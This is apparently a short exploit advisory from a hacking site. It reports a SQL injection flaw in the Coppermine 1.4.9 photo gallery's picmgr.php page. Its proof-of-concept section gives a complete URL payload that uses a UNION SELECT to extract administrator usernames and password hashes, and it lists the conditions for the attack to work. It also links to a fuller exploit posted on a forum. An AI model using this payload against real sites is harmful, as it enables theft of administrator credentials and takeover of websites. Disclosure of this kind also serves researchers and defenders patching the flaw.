Coppermine1.4.9.txt

`/****************************************/  
  
http://www.w4cking.com  
  
CREDIT:  
w4ck1ng.com  
  
PRODUCT:  
Coppermine 1.4.9  
http://coppermine-gallery.net/  
  
VULNERABILITY:  
SQL Injection  
  
NOTES:  
- SQL injection can be used to obtain password hash  
- You must be a registered user to access the vulnerable page, picmgr.php.  
- The table prefix must be known.  
  
POC:  
<victim>/picmgr.php?aid=123%20UNION%20SELECT%20user_id,user_group,concat(user_name,char(58,58),user_password)%20FROM%20cpg149_users%20right%20join%20cpg149_usergroups%20on%20cpg149_users.user_group%20=%20cpg149_usergroups.group_id%20where%20cpg149_usergroups.has_admin_access%20=%201%20--  
  
ADVISORY & EXPLOIT (requires registration):  
http://www.w4ck1ng.com/board/showthread.php?t=1856  
  
/****************************************/  
  
`